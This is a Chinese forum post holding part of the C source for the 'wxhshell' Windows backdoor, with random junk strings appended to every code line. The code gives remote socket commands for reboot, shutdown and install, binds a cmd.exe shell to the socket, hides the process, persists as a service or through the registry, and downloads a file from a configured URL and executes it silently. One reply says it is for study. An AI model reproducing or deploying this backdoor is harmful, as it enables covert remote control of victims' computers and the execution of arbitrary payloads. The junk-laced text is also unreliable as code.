  } dvPK5+0W?  
  else { o75Hit  
{#-I;I:  
    switch(cmd[0]) { nT(Lh/  
  BKd03s=  
  // 帮助 {KH!PAh  
  case '?': { 2P&KU%D)0s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); adi^*7Q] )  
    break; : `Nh}Ka0  
  } &bh%>[  
  // 安装 bl/tl_.p00  
  case 'i': { ;nzzt~aCC  
    if(Install()) #3fS_;G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0a1Vj56{)  
    else ; M)l7f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <B+xE?v4  
    break; m%?+;V  
    } A.f!SYV6  
  // 卸载 hv]}b'M$  
  case 'r': { S"}G/lBx.  
    if(Uninstall()) !(%^Tg=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M1>2Q[h7  
    else TGSUbBgU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); erhxZ|."P  
    break; >~+'V.CNW  
    } =N,ahq  
  // 显示 wxhshell 所在路径 MLd*WpiI.  
  case 'p': { ~~8?|@V  
    char svExeFile[MAX_PATH]; 1Tb'f^M$  
    strcpy(svExeFile,"\n\r"); 0j'H5>m"  
      strcat(svExeFile,ExeFile); [,@gSb|D?  
        send(wsh,svExeFile,strlen(svExeFile),0); cx+li4v  
    break; JDa=+\_  
    } ,_G((oS40  
  // 重启 KG2ij~v  
  case 'b': { <'Ppu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LTof$4s  
    if(Boot(REBOOT)) e9F\U   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hny(:Dj  
    else { F:3*i^ L  
    closesocket(wsh);  4E"OD+  
    ExitThread(0);  Uk2U:  
    } $y2"Q,n+  
    break; t;^NgkP{$  
    } H#Aar  
  // 关机 UNoNsmP  
  case 'd': { /4Df 'd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K #f*LV5  
    if(Boot(SHUTDOWN)) W-72&\7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7H,p/G?]k  
    else { Pc{0Js5VzE  
    closesocket(wsh); [~%\:of70n  
    ExitThread(0); <`rl[C{  
    } ; aI`4;  
    break; h 8ND=(  
    } MO1t 0Myc  
  // 获取shell A,WZ}v}_  
  case 's': { D>HX1LV  
    CmdShell(wsh); #]vy`rv  
    closesocket(wsh); ;$0)k(c9  
    ExitThread(0); Dej2-Y  
    break; \Y?ByY  
  } xn=/SIS  
  // 退出 =Nc}XFq  
  case 'x': { ~EV7E F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  GD]yP..  
    CloseIt(wsh); 0_A|K>7  
    break; V~9s+>  
    } DGQGV[9%4C  
  // 离开 0Ud.u  
  case 'q': { mvCH$}w8&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2a\?Q|1C  
    closesocket(wsh); ;q3"XLV(T[  
    WSACleanup(); P:p@Iep  
    exit(1); &4m\``//9  
    break; pyf/%9R:d  
        } 4ox[,  
  } e*zt;SR  
  } 8}Qmhm`_j=  
A-8[8J  
  // 提示信息 t/3t69\x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $;1TP|  
} |KC!6<}T~9  
  } aj$#8l |zu  
\?|FB~.Ry  
  return; BnB]]<gO"  
} sK&[sN33  
]:6M!+?(  
// shell模块句柄 5 wT e?  
int CmdShell(SOCKET sock) V1 H3}  
{ 5d4/}o}%"  
STARTUPINFO si; {FrcpcrQa  
ZeroMemory(&si,sizeof(si)); %]iDhXLr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g aq"+@fH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -q8R'?z[  
PROCESS_INFORMATION ProcessInfo; ?FRuuAS  
char cmdline[]="cmd"; ;:Yz7<>Y,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t& *K  
  return 0; w<0F-0:8  
} Avc9W[4  
H/v|H}d;  
// 自身启动模式 Ha}TdQ%  
int StartFromService(void) 8d!t"oj68  
{ da,Bnze0  
typedef struct A:?|\r  
{ y9#r SA*  
  DWORD ExitStatus; }3Mnq?.-  
  DWORD PebBaseAddress; j\uh]8N3<  
  DWORD AffinityMask; S 6|#9C&  
  DWORD BasePriority; :d!qZFln  
  ULONG UniqueProcessId; y>5??q  
  ULONG InheritedFromUniqueProcessId; Z<Pf[C  
}   PROCESS_BASIC_INFORMATION; qoo+=eh!  
%+{[%?xh  
PROCNTQSIP NtQueryInformationProcess; N1vPY]8  
}%@q; "9`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8}^R jMgI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ):c)$$dn  
!=Hu?F p  
  HANDLE             hProcess; e[:i`J2  
  PROCESS_BASIC_INFORMATION pbi; WcG}9)9  
xe!([^l&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z"vI-~,YU  
  if(NULL == hInst ) return 0; ZSUbPz  
W{1"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EV$$wrohQ`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jnu!a.H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X>$s>})Y  
REj<2Lo  
  if (!NtQueryInformationProcess) return 0; G 5T{*  
!L=RhMI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +'@j~\>^yJ  
  if(!hProcess) return 0; nc.(bb),  
qpCNvhi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]m(C}}  
ma%PVz`I;9  
  CloseHandle(hProcess); W{v{sQg  
s[}4Q|s%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .EXe3!J)!  
if(hProcess==NULL) return 0; :|V`QM  
T[<deQ  
HMODULE hMod; N Qdz]o  
char procName[255]; ?##3E, /"9  
unsigned long cbNeeded; ?c;T4@mB  
~@Wg3'&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .C=I~Z  
eBs4:R_i  
  CloseHandle(hProcess); BS@x&DB  
vK10p)ZV  
if(strstr(procName,"services")) return 1; // 以服务启动 9bxBm  
}5??n~:*5  
  return 0; // 注册表启动 Pcs62aE  
} @N%/v*  
dh~ cj5  
// 主模块 'PBuf:9lN  
int StartWxhshell(LPSTR lpCmdLine) z K+C&X  
{ %^?yI  
  SOCKET wsl; u |EECjJn  
BOOL val=TRUE; a(a 2xa  
  int port=0; %!vgAH4  
  struct sockaddr_in door; eM1=r:jgE  
&{5v[:$  
  if(wscfg.ws_autoins) Install(); N"M?kk,  
O.HaEg/-  
port=atoi(lpCmdLine); 6bacU#0o  
g:yUZ;U  
if(port<=0) port=wscfg.ws_port; 5x} XiMM  
U^@8ebv  
  WSADATA data; E;>Bc Pt5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O9_S"\8]@  
7F;dLd'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~*-%tFSv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VGPBD-6)  
  door.sin_family = AF_INET; "8%z,lHw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @8;0p  
  door.sin_port = htons(port); Ug1[pONk  
\(.])I>)eh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @8jc|X<A  
closesocket(wsl); 2=[deQs  
return 1; D#pZN,'  
} $X;wj5oj  
waYH_)Zx  
  if(listen(wsl,2) == INVALID_SOCKET) { dPtQ Sa  
closesocket(wsl); 1;Q>B>6  
return 1; ]%4rL S  
} :-.K.Ch|:  
  Wxhshell(wsl); +kXj+2  
  WSACleanup(); CL%+`c0  
EK JPeeRY  
return 0; wRATe 0'  
$zR[2{bg  
} &AS<2hB  
KXS{@/"-B  
// 以NT服务方式启动 Naqz":%.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IdzrQP  
{ @=0O' XM  
DWORD   status = 0; &M5_G$5n  
  DWORD   specificError = 0xfffffff; eKT'd#o2R  
-j<g}IG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }p <p(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +I9+L6>UR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i,h)  
  serviceStatus.dwWin32ExitCode     = 0; eLd7|*|  
  serviceStatus.dwServiceSpecificExitCode = 0; 4YmN3i  
  serviceStatus.dwCheckPoint       = 0; R DAihq  
  serviceStatus.dwWaitHint       = 0; {TWgR2?{C  
R=/6bR57  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NETji:d  
  if (hServiceStatusHandle==0) return; qOi3`6LCV  
.AzGPcJY  
status = GetLastError(); 5V($|3PI  
  if (status!=NO_ERROR) FV1!IE-}-  
{ "V>7u{T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #;#r4sJwU  
    serviceStatus.dwCheckPoint       = 0; L+b"d3!G&%  
    serviceStatus.dwWaitHint       = 0; &M6cCT]&M  
    serviceStatus.dwWin32ExitCode     = status; VHUOI64*  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'h:[[D%H`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4 <&8`Q  
    return; 6$l6>A  
  } 2Q/#.lNL  
qUMM}ls  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bO:m^*  
  serviceStatus.dwCheckPoint       = 0; o YZmz  
  serviceStatus.dwWaitHint       = 0; HVz,liq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rf%NfU  
} v.aSf`K  
m&h5u,  
// 处理NT服务事件,比如:启动、停止 @Qa)@'u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) unUCn5hJ=  
{ 7fB:wPlG;  
switch(fdwControl) S&rfMRP  
{ 0aF&5Lk`y  
case SERVICE_CONTROL_STOP: g3i !>  
  serviceStatus.dwWin32ExitCode = 0; luEP5l2&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jgb>:]:  
  serviceStatus.dwCheckPoint   = 0; 0tzMu#  
  serviceStatus.dwWaitHint     = 0; OFtAT@ =O  
  { R^i8AbFW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NVFgRJ&  
  } <XfCQq/  
  return; 4*<27  
case SERVICE_CONTROL_PAUSE: A^a9,T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0k];%HV|  
  break; W9$mgs=S`E  
case SERVICE_CONTROL_CONTINUE: wkp|V{k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hgz7dF  
  break; :h|nV ~  
case SERVICE_CONTROL_INTERROGATE: ,B,2t u2  
  break; tvC7LLNP<  
}; I'_.U]An  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cX64 X  
} Ux2p qPb  
gda3{g7<)  
// 标准应用程序主函数 4I[g{S nF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L%7?o:  
{ |VC/ (A  
b ~Qd9 Nf  
// 获取操作系统版本 vk:m >?(  
OsIsNt=GetOsVer(); U73{Uv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {FavF 9O  
Tk'YpL#U  
  // 从命令行安装 "ct_EPr`  
  if(strpbrk(lpCmdLine,"iI")) Install(); 415 95x:  
FL 5tIfV+  
  // 下载执行文件 Ve4!MM@ti  
if(wscfg.ws_downexe) { LZ@4,Uj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SGU~LW&  
  WinExec(wscfg.ws_filenam,SW_HIDE); D [#1~M  
} qYMTud[Vf  
A3UC=z<y  
if(!OsIsNt) { iG[an*#X  
// 如果时win9x,隐藏进程并且设置为注册表启动 JvHGu&Nr!  
HideProc(); y`~[R7E  
StartWxhshell(lpCmdLine); |<@X* #X5  
} ZW}0{8Dk  
else V m1U00lM{  
  if(StartFromService()) 4g.y$  
  // 以服务方式启动 :EK.&% 2  
  StartServiceCtrlDispatcher(DispatchTable); !V =s^8nj  
else az(u=}  
  // 普通方式启动 <%(nF+rQA"  
  StartWxhshell(lpCmdLine); Jmln*,Ol7  
h5bQ  
return 0; /^E2BRI  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五